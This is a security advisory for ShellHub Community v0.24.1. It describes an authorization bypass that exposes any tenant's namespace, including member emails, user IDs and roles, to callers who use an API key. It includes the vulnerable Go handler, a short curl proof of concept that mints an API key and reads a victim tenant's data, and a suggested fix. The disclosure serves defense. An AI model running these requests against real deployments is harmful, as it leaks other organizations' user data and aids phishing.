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GHSA-vwx9-7qcf-gg7f

MediumCVSS 6.5 / 10
Published May 7, 2026·Last modified May 7, 2026
Affected Components(0)

No affected components available

Description

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

var uid string
if c.ID() != nil {
    uid = c.ID().ID
}

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
    return c.NoContent(http.StatusNotFound)
}

if uid != "" {                              // ⚠️ skipped when API Key is used
    if _, ok := ns.FindMember(uid); !ok {
        return c.NoContent(http.StatusForbidden)
    }
}

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
#                      settings, max_devices, devices_accepted_count, type, created_at}

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

    // nsadm.go GetNamespace
    if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
        return c.NoContent(http.StatusForbidden)
    }
    
Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.31%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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